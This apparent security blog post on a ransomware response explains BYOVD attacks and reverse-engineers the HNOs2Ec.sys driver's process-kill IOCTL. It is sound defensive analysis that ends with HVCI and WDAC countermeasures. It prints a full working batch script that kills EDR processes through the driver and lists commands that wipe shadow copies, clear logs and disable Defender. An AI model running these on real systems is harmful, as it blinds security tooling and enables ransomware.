应急实战之BYOVD技术初探"

admin 2026-10-16 09:45:10 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

应急实战之BYOVD技术初探

原创

白昼信安
白昼信安

白昼信安

2026年9月23日 15:00
甘肃

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

最近半夜接到一起客户勒索应急:他们的 Windows 服务器上,EDR 进程突然消失了,紧接着卷影备份被清空,数小时后整个文件服务器被勒索软件加密。

查日志发现:

攻击者通过客户的web漏洞入侵,并上传byovd驱动与EDR对抗(由于服务器web日志被加密,无法溯源具体漏洞入口点,当然,这也不是今天重点)

攻击者用这个有漏洞的驱动,发了一条 IOCTL,把 EDR 进程直接从内核里干掉了。

这也就是 BYOVD(Bring Your Own Vulnerable Driver)——当下勒索软件团伙的最爱。

一、BYOVD介绍

BYOVD(Bring Your Own Vulnerable Driver,自带漏洞驱动)是一种利用带有合法数字签名但存在漏洞的驱动,来获取内核模式(Ring-0)的执行权限的后渗透攻击策略。实际上BYOVD 严格说不是新东西。内核驱动一直是 Windows 安全模型的阿喀琉斯之踵,但大规模把它武器化是 2016 年以后的事。

经典 BYOVD 攻击链(6 阶段)

阶段 1:初始入侵

攻击者拿到第一台机器的 shell。常见入口:

  • 钓鱼邮件:附件是带宏的 Word/Excel,LNK 快捷方式伪装成 PDF
  • Web 漏洞:Exchange、Confluence、VPN 等公网组件的 Nday
  • 暴露的 RDP:弱口令或购买的初始访问代理(IAB)

落地的通常是一个 loader / implant(Cobalt Strike beacon、Brute Ratel、Sliver 等)。

阶段 2:提权 + 持久化

  • 用各种 UAC 绕过拿到 SYSTEM 权限
  • 持久化:注册表 Run 键、计划任务、WMI Event Subscription、服务自启动

关键点:BYOVD 的所有操作都需要 SYSTEM 权限(SE\_LOAD\_DRIVER\_PRIVILEGE 只有 SYSTEM 才有)。所以提权是必做的前置步骤。

阶段 3:侦察 EDR 牌面

杀掉 EDR 前要先识别 EDR:拿到 EDR 进程名和 PID 后,去 LOLDrivers 数据库里挑一个对应的杀进程 PoC。

阶段 4:BYOVD 杀 EDR

这是 BYOVD 攻击的核心动作,分三步:

落盘驱动

攻击者使用Windows SCM(Service Control Manager,服务控制管理器)或调用NtLoadDriverAPI将漏洞驱动注册为内核服务并加载。Windows会验证其数字签名是否有效,并追溯到微软信任的根证书。但是签名验证流程是存在缺陷的,只有这些才被视为有效签名:

2015.07.29之前的旧证书:自Windows 10起,微软要求所有新的内核驱动都必须通过HDC(Hardware Dev Center,硬件开发中心)进行签名,而在此之前,开发者可以绕过微软使用第三方交叉证书自行签名。为了兼容,Windows将允许这些交叉签名的驱动加载,只要该交叉签名可追溯到可信CA。

已吊销的证书:由于驱动程序在系统启动过程早期加载,此时网络不可用,因此系统不会执行CRL(Certificate Revocation Lists,证书吊销列表)检查,只要签名时间戳(而非当前时间戳)位于证书有效期即可。

注册内核服务

驱动被加载进 Ring 0,创建设备对象 \\\\.\\TfSysMon。

发 IOCTL 杀进程

大部分 AV/EDR 厂商默认不监控 SCM 注册内核驱动这个动作

至此 EDR 进程被内核的 ZwTerminateProcess 干掉了。

阶段 5:擦痕迹 + 关防御

EDR 死后还有几件事要做:

  • 杀 EDR 服务(防止被守护进程拉起)
  • 改注册表禁用 Defender:HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\DisableAntiSpyware = 1
  • 清事件日志:wevtutil cl Security
  • 关 ETW 追踪(内核级 PatchEtwEventRegister)
  • 删卷影备份:vssadmin delete shadows /all /quiet
  • 关 Sysmon:停服务、清日志

阶段 6:横向 + 加密

  • 用 PsExec / WMI / SMB 批量推到内网其他机器
  • 在每台机器上重复 BYOVD 步骤(不同机器可能是不同 EDR)
  • 最后上勒索软件(LockBit、BlackCat、RansomHub 等家族)批量加密

最后勒索信 + 暗网泄露数据双重施压。

二、BYOVD技术分析

本次采用BlackSnufkin/BYOVD中的漏洞驱动HNOs2Ec作为案例,复现BYOVD攻击,并分析其技术原理。

复现过程

先编译用到的载荷

cargo build --release -p HNOs2Ec-Killer

可以看到HNOs2Ec.sys驱动的数字签名证书是在有效期范围内的,所以仍会被微软认定为有效签名。

先将载荷送上目标机器

之后通过管理员权限启动cmd窗口,尝试直接杀进程,看下是否可行,可以看到结果显示失败:

尝试用载荷直接杀edr,但是通过后续发现edr一直没掉,之后看到xx服的edr不止一个进程,后续通过 reg query 翻注册表发现根因:4 个 xx服服务的 FailureActions 字段都设了 restart/5000/...,意思是\"服务意外退出 → SCM5 秒后自动拉起\"

SCM是什么?

SCM = Service Control Manager,Windows 系统服务管理子系统,本体是 services.exe

SCM 的三个核心职责

  1. 服务注册表:HKLM\\SYSTEM\\CurrentControlSet\\Services\\ 下每个子键描述一个服务的 ImagePath / StartType / DependOnService / FailureActions
  2. 进程生命周期管理:StartService / StopService / ControlService,对应启动 / 停止 / 控制码
  3. 故障恢复:服务异常退出时,按 FailureActions 决策 → run外部命令 / restart 服务 / reboot 机器

于是我让AI写了个脚本,把 4 个服务的 SCM 重启行为置为 no-op

@echo offsetlocal EnableDelayedExpansion
:: ============================================================::  EDR BYOVD Kill Chain + Persistent Suppression::  Method : HNOs2Ec.sys vulnerable driver - Honor, signed::  PoC    : C:\\Program Files\\HONOR\\PCManager\\PCManager.exe::  Usage  : Right-click -> Run as administrator::  Stop   : Press Ctrl+C in the cmd window:: ============================================================
set \"PC_DIR=C:\\Program Files\\HONOR\\PCManager\"set \"PC_EXE=PCManager.exe\"set \"SYS_FILE=HNOs2Ec.sys\"set \"SVC_NAME=HNOs2Ec\"
:: --- Admin check ---net session >nul 2>&1if %errorlevel% neq 0 (    echo [X] Must run as administrator. Right-click - Run as administrator.    pause    exit /b 1)
clsecho ============================================================echo    EDR BYOVD Kill Chain + Persistent Suppressionecho    %DATE% %TIME%echo ============================================================echo.
:: --- Step 1: Verify ---echo [STEP 1] Verify files ...if not exist \"%PC_DIR%\\%PC_EXE%\" (    echo [X] Missing %PC_DIR%\\%PC_EXE%    echo     Copy PCManager.exe and HNOs2Ec.sys into: %PC_DIR%    pause    exit /b 1)if not exist \"%PC_DIR%\\%SYS_FILE%\" (    echo [X] Missing %PC_DIR%\\%SYS_FILE%    pause    exit /b 1)echo [OK] PCManager.exe  -- %PC_DIR%\\%PC_EXE%echo [OK] HNOs2Ec.sys    -- %PC_DIR%\\%SYS_FILE%echo.
:: --- Step 2: Disable SCM auto-restart ---echo [STEP 2] Disable SCM auto-restart ...for %%S in (abs_deployer edr_monitor savsvc eaio_service) do (    sc failure %%S actions= none reset= 0 >nul 2>&1    if !errorlevel! equ 0 (echo [OK] sc failure %%S) else (echo [! ] sc failure %%S skipped))echo.
:: --- Step 2.5: Change to demand start ---echo [STEP 2.5] Change  services to demand start ...for %%S in (abs_deployer edr_monitor savsvc eaio_service) do (    sc config %%S start= demand >nul 2>&1    if !errorlevel! equ 0 (echo [OK] sc config %%S start= demand) else (echo [! ] sc config %%S skipped))echo.
:: --- Step 3: Kill supervisors ---echo [STEP 3] Kill supervisors - abs_deployer + edr_monitor ...pushd \"%PC_DIR%\"call :run_killer abs_deployer.exetimeout /t 2 /nobreak >nulcall :run_killer edr_monitor.exetimeout /t 3 /nobreak >nulpopdecho.
:: --- Step 4: Kill remaining user-mode processes ---echo [STEP 4] Kill remaining  user-mode processes ...pushd \"%PC_DIR%\"for %%P in (avsvc.exe edr_agent.exe aagent.exe ipc_proxy.exe x_agent.exe ^            io_wtmkproc.exe io_agent.exe io_service.exe ^            avtray.exe avui.exe updatemgr.exe) do (    call :run_killer %%P    timeout /t 2 /nobreak >nul)popdecho.
:: --- Step 5: Verify ---echo [STEP 5] Verify user-mode processes are gone ...echo.set \"ALL_DEAD=1\"for %%P in (abs_deployer edr_monitor avsvc edr_agent aagent ^            ipc_proxy xs_agent io_wtmkproc io_agent io_service ^            avtray sfavui updatemgr) do (    tasklist /FI \"IMAGENAME eq %%P.exe\" 2>nul | findstr /i %%P >nul    if !errorlevel! equ 0 (        echo [X]  %%P.exe  STILL ALIVE        set \"ALL_DEAD=0\"    ) else (        echo [OK] %%P.exe  gone    ))echo.
:: --- Step 5.5: Second pass for respawners ---echo [STEP 5.5] Second pass - kill stubborn respawners ...pushd \"%PC_DIR%\"set \"ROUNDS=0\":respawn_loopset /a ROUNDS+=1echo     Round !ROUNDS! ...set \"FOUND=0\"for %%P in (abs_deployer.exe avsvc.exe) do (    tasklist /FI \"IMAGENAME eq %%P\" 2>nul | findstr /i %%P >nul    if !errorlevel! equ 0 (        set \"FOUND=1\"        echo     Re-killing %%P ...        call :run_killer %%P        timeout /t 3 /nobreak >nul    ))if !FOUND! equ 1 (    if !ROUNDS! lss 5 goto :respawn_loop)popdecho.
:: --- Step 6: Final verify ---echo [STEP 6] Final verify ...echo.set \"ALL_DEAD=1\"for %%P in (abs_deployer edr_monitor avsvc edr_agent aagent ^            ipc_proxy x_agent io_wtmkproc io_agent io_service ^            avtray sfavui updatemgr) do (    tasklist /FI \"IMAGENAME eq %%P.exe\" 2>nul | findstr /i %%P >nul    if !errorlevel! equ 0 (        echo [X]  %%P.exe  STILL ALIVE        set \"ALL_DEAD=0\"    ) else (        echo [OK] %%P.exe  gone    ))echo.
:: --- Step 7: Kernel drivers info ---echo [INFO] Kernel drivers still loaded - user-mode BYOVD ceiling:echo        - avflt.sys        file-system minifilterecho        - ENetMon64.sys    network monitorecho        - IO 4 drivers     file_filter / function_driver / load_driver / network_driverecho        Unload attempt fails with 0x801f0010 - self-protection.echo.
echo ============================================================if \"%ALL_DEAD%\"==\"1\" (    echo    [SUCCESS] All user-mode processes are down) else (    echo    [PARTIAL] Some processes survived. Entering persistent mode anyway.)echo ============================================================echo.echo ============================================================echo    PERSISTENT SUPPRESSION MODEecho    Sfavflt.sys will respawn user-mode processes every fewecho    seconds. This loop kills them the moment they appear.echo    Press Ctrl+C to stop.echo ============================================================echo.
:: --- Step 8: Persistent kill loop ---set \"ROUND=0\":KEEPKILLset /a ROUND+=1pushd \"%PC_DIR%\"for %%P in (abs_deployer.exe edr_monitor.exe sfavsvc.exe ^            edr_agent.exe sfaagent.exe ipc_proxy.exe xs_agent.exe ^            eaio_service.exe eaio_wtmkproc.exe eaio_agent.exe ^            sfavtray.exe sfavui.exe sfupdatemgr.exe) do (    tasklist /FI \"IMAGENAME eq %%P\" 2>nul | findstr /i %%P >nul    if !errorlevel! equ 0 (        echo [!] Round !ROUND! - killing %%P ...        call :run_killer %%P    ))popdtimeout /t 5 /nobreak >nulgoto :KEEPKILL
:: ============================================================:: Function: run_killer::   Re-registers HNOs2Ec with absolute path, runs PCManager.exe::   in background, force-kills it after 8 seconds.:: ============================================================:run_killersc stop %SVC_NAME% >nul 2>&1timeout /t 2 /nobreak >nulsc delete %SVC_NAME% >nul 2>&1timeout /t 2 /nobreak >nul
sc create %SVC_NAME% binPath= \"%PC_DIR%\\%SYS_FILE%\" type= kernel start= demandif !errorlevel! neq 0 (    echo [X] sc create HNOs2Ec FAILED for %~1    exit /b 1)
start /b \"\" \"%PC_EXE%\" -n %~1timeout /t 8 /nobreak >nultaskkill /F /IM \"%PC_EXE%\" >nul 2>&1timeout /t 2 /nobreak >nul
exit /b 0

此时进程已经被成功杀掉,edr已经没了

驱动文件逆向分析

对HNOs2Ec.sys进行逆向,从DriverEntry入口进入

sub_14000A0D4() 是 MSVC 编译器自动插入的 GS Cookie 初始化

跟进sub_14000A000

可以看到a1 是 DriverObject 指针

并且看到四个回调函数被注册了

看一下微软对DRIVER_OBJECT结构体的定义

typedef struct _DRIVER_OBJECT {    CSHORT Type;                                // 驱动类型    CSHORT Size;                                // 驱动大小    PDEVICE_OBJECT DeviceObject;                // 驱动对象    ULONG Flags;                                // 驱动的标志    PVOID DriverStart;                          // 驱动的起始位置    ULONG DriverSize;                           // 驱动的大小    PVOID DriverSection;                        // 指向驱动程序映像的内存区对象    PDRIVER_EXTENSION DriverExtension;          // 驱动的扩展空间    UNICODE_STRING DriverName;                  // 驱动名字    PUNICODE_STRING HardwareDatabase;    PFAST_IO_DISPATCH FastIoDispatch;    PDRIVER_INITIALIZE DriverInit;    PDRIVER_STARTIO DriverStartIo;    PDRIVER_UNLOAD DriverUnload;                 // 驱动对象的卸载地址    PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1];} DRIVER_OBJECT;

IRP\_MJ\_DEVICE\_CONTROL 唯一的作用就是分发 IOCTL 控制码

计算偏移如下

Windows 内核的 DRIVER_OBJECT 结构关键偏移:

偏移 字段 看到的赋值
+0x68 DriverUnload a1[13] = &sub_1400072E8
+0x70 MajorFunction[0] = IRP\_MJ\_CREATE a1[14] = &sub_140007134
+0x80 MajorFunction[2] = IRP\_MJ\_CLOSE a1[16] = &sub_140007114
+0xE0 MajorFunction[14] = IRP\_MJ\_DEVICE\_CONTROL a1[28] = sub_14000717C

完整函数调用树

DriverEntry (0x14000A0A8) ├─ sub_14000A0D4  [GS Cookie,编译器插的] └─ sub_14000A000 ├─ sub_140007374  [Check 1] ├─ sub_140001A2C  [Check 2] ├─ sub_140007000  [子调用 1] ├─ sub_140002BEC  [子调用 2] ├─ sub_14000202C  [子调用 3] └─ 注册: ├─ DriverUnload = sub_1400072E8 ├─ MajorFunction[0] = sub_140007134  (CREATE) ├─ MajorFunction[2] = sub_140007114  (CLOSE) └─ MajorFunction[14] = sub_14000717C  (DEVICE_CONTROL)

所以知道了sub_14000717C 是 IRP_MJ_DEVICE_CONTROL 的处理函数

然后进到sub_14000717C

反推 IOCTL 控制码

知道ioctl = 0x223E08 时调用 sub\_140003154

跟进去

v4 来自 memcpy(&v4, SystemBuffer, 4)——也就是用户态传入的 4 字节值

如果 sub_140001D04 是别的功能 期望参数语义
写 EC 寄存器 需要寄存器地址 + 值(>4 字节)
读 EC 寄存器 需要地址 + 输出 buffer
烧录 BIOS 需要固件指针 + 长度
杀进程 4 字节 PID 刚好

于是跟进去sub_140001D04

可以看到漏洞核心

  • 接收一个 PID(整数)
  • 转成进程 HANDLE(sub_140001940)
  • 调 ZwTerminateProcess(handle, 0) 杀进程

后续启动ZwOpenProcess以最大权限访问该进程,然后调用ZwTerminateProcess终止目标进程。由于该驱动加载后位于Ring 0,为系统最大权限,使得其可以达成杀死任意进程的目的。

整个流程如下:

再来看看BlackSnufkin/BYOVD中,byovd-lib/src/lib.rs 用 DriverConfig trait 把\"通用攻击流程\"和\"驱动特定配置\"解耦,让加新 BYOVD 驱动从\"重写完整攻击代码\"变成\"实现 5 个 trait 方法\"

再回看HNOs2Ec-Killer\src\main.rs,可以看到,一个 PID,被函数链处理,从用户态 DeviceIoControl 一路传到内核态 ZwTerminateProcess,绕过 EDR 用户态保护直接杀死进程

这也就是现在越来越多的APT组织、勒索软件团伙采用BYOVD攻击来绕过EDR检测,达成致盲EDR、投放恶意软件、进行勒索等目的。

三、BYOVD检测与防御

启用HVCI

启用HVCI(Hypervisor-protected Code Integrity,虚拟机监控程序保护的代码完整性):其利用Windows虚拟化强制实施内核代码完整性。即使漏洞驱动被加载进内核,也能在硬件层面阻止内核内存页被标记为“可写可执行”,导致恶意rootkit或shellcode注入内核失败,从而降低BYOVD攻击的危害。

启用WDAC

1、下载并提取 易受攻击的驱动程序阻止列表二进制文件

2、下载微软官方的可视化编辑工具WDAC Wizard

将1下载的导入p7b文件,保存的文件名填写为SiPolicy.xml

这里为策略配置,注意最下方的Audit Mode,若该选项开启,则规则生效后仅告警;若关闭,则还会在告警的基础上,直接阻断驱动加载

这里是规则界面内置了许多微软官方的规则,可在此基础上添加针对漏洞驱动的规则。

规则添加完毕后即可看到策略生成成功界面


应急实战之BYOVD技术初探" 网络安全文章

应急实战之BYOVD技术初探"

本文分析BYOVD(自带漏洞驱动)攻击技术,通过真实勒索应急案例展示攻击链六阶段:初始入侵、提权持久化、侦察EDR、利用签名漏洞驱动加载至内核并发送IOCTL终止EDR进程、擦除痕迹关闭防御、横向移动加密。复现使用HNOs2Ec.sys驱动绕过EDR进程守护,通过修改SCM服务FailureActions禁用自动重启实现持久化。建议加强EDR对驱动加载监控、SCM服务异常检测及卷影备份保护。
学海观澜|国家重点研发计划“重大需求导向的数学理论及应用”等重点专项2026年度项目申报指南征求意见" 网络安全文章

学海观澜|国家重点研发计划“重大需求导向的数学理论及应用”等重点专项2026年度项目申报指南征求意见"

该文档为国家自然科学基金委员会发布的关于国家重点研发计划5个重点专项2026年度项目申报指南征求意见的通告。征求意见时间为2026年9月21日至25日,涉及数学理论、力学技术、物态调控、催化科学及人工智能数理基础等领域。相关单位可通过国家科技管理信息系统查看指南并提出意见建议,截止日期为9月25日24时。
ShinyHunters黑客组织称入侵FBI窃大量前任现任职员资料" 网络安全文章

ShinyHunters黑客组织称入侵FBI窃大量前任现任职员资料"

黑客组织ShinyHunters声称入侵FBI招聘网站,利用OraclePeopleSoft零日漏洞实现远程代码执行,横向移动至AWSGovCloud服务器,窃取约2至3TB现任及前任FBI员工数据,样本经核实包含真实个人信息。FBI已确认调查,网站暂不可用。该事件凸显零日漏洞与供应链攻击风险,建议相关机构加强关键系统漏洞监测与应急响应能力。
评论:0   参与:  0